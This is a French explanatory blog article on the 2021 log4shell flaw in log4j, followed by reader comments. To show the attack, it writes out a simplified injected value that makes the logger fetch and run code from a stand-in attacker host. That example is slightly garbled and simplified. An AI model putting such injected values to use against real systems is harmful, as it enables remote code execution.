Cet article est disponible en podcast ici.
Ce 10 décembre, une faille de sécurité baptisée log4shell et touchant la brique logiciel log4j a été découverte. Dès lors, des millions de serveurs, y compris ceux d’Apple, Google, Amazon ou Tesla devenaient piratables.
Cette faille montre comment, sans même commettre d’erreur en programmation, une faille critique peut apparaître. Elle montre aussi l’énorme château de cartes que représente chaque application informatique.
Log4shell : une faille ne reposant sur aucune erreur
Log4j est une brique logiciel qui est utilisée par des millions de sites web pour logger des évènements.
Un programme informatique est par nature muet. C’est une boîte noire dont on ne voit que les données d’entrées et les résultats de sorties. Les étapes intermédiaires restent silencieuses.
Aussi, pour aider les développeurs à surveiller leurs applications, on ajoute des logs dans le programme. Le programme va se mettre à parler à chaque action accomplie.
Toutes ces déclarations sont regroupées et horodatées pour former le journal de logs, véritable historique de la plateforme en ligne.
Ainsi, si un utilisateur Bob change son email par X, on verra apparaître sur le journal de logs du site : « utilisateur Bob a changé son email par X ».
Pour rendre les logs plus puissants, log4j utilise une syntaxe afin d’ajouter des balises qui seront remplies par lui. Par exemple le log « ${date} utilisateur Bob a changé son mail par X »  sera lu et remplacé par «  18/12/2021 10:45 utilisateur Bob a changé son mail par X » .
Cette syntaxe permet d’injecter automatiquement la date, la version du logiciel, mais aussi de faire des requêtes sur un serveur distant et d’exécuter le code retourner par le serveur.
Tout ceci n’est pas codé par accident, ce sont des fonctionnalités légitimes. Mais un détail vient tout chambouler. Dans l’exemple ci-dessus, le X provient de l’utilisateur. Il peut donc mettre ce qu’il veut, y compris une balise !
Il peut donc envoyer comme nouvelle adresse mail «  ${https://serveur-. Le logger va analyser le log «  utilisateur Bob a changé son email par ${https://serveur-pirate.fr/, requêter le serveur pirate et exécuter le virus sur la plateforme.
Cette faille ne provient pas d’un bug ou d’erreur. Elle détourne des fonctionnalités légitimes, qui mises bout à bout forment un vecteur d’attaque.
Ainsi, log4shell rend tous les serveurs utilisant log4j vulnérables. N’importe quel utilisateur a juste à envoyer une balise malicieuse dans la plateforme pour y prendre le contrôle.
Le château de cartes informatique
Un programme informatique repose sur une des centaines de briques logiciel pour fonctionner. Si une seule de ces briques fait défaut, elle contamine l’ensemble du programme.
Heureusement, le plus souvent, le problème reste bénin et ne remet pas en cause la sécurité de la plateforme.
Mais log4j, lui, anéantit la sécurité de la plateforme hôte qui l’utilise. Or il est massivement utilisé, c’est une brique logiciel incontournable dans le développement.
C’est ainsi qu’en un week-end, on se retrouve avec des millions de sites piratables tels Apple, Google, Amazon et autres.
La sécurité en informatique ne tient qu’à un fil. Des millions de sites sains se retrouvent piratables car une fonctionnalité d’une brique logiciel a pu être détournée pour le piratage.
Vu la très grande utilisation de log4j, il faudra des années pour mettre à jour tous les sites. Les attaques informatiques utilisant cette faille ont déjà commencé.
Merci pour l’article, c’est intéressant d’en parler ici. Quelques bémols: Log4j n’est pas incontournable, il ne touche pas l’écosystème .NET de Microsoft pas exemple. Et les entreprises ont réagi très rapidement après l’annonce de la faille. Celles qui n’ont pas réagi prennent de gros risques pour leur business, dans un monde de plus en plus digitalisé.
De toute façon, c’est devenu tellement complexe que des failles il y en aura toujours.
La plus grosse faille potentielle est située entre l’écran et le clavier…
Il est préférable de considérer les ordinateurs comme des espaces “semi public” et n’y mettre que ce qui est susceptible d’être piraté sans que cela provoque une catastrophe majeure.
Pour les données ultra sensibles on peut gérer cela en intranet non raccordé au réseau, en gardant à l’esprit que même cela n’est pas totalement sur (cf attaque du site de natanz) …
Toute entrée d’utilisateur doit être considérée comme diabolique et doit donc être validée. Dans l’exemple ci-dessus, Bob ne devrait pas avoir pu entrer « serveur-pirate.machin.truc/virus » pour la bonne et simple raison qu’un développeur qui n’est pas un gros fainéant aurait validé le champ avec une expression régulière. L’autre question qu’on peut se poser est de savoir par quel miracle log4j pourrait conduire à l’exécution de code ? Pourquoi diable aurait-on besoin d’exécuter un logger avec un niveau de sécurité privilégié ? En 2021 ? Je parie que ça ne va toucher que les officines où les programmeurs font un boulot de cochons. (Soit, il y en a plein !)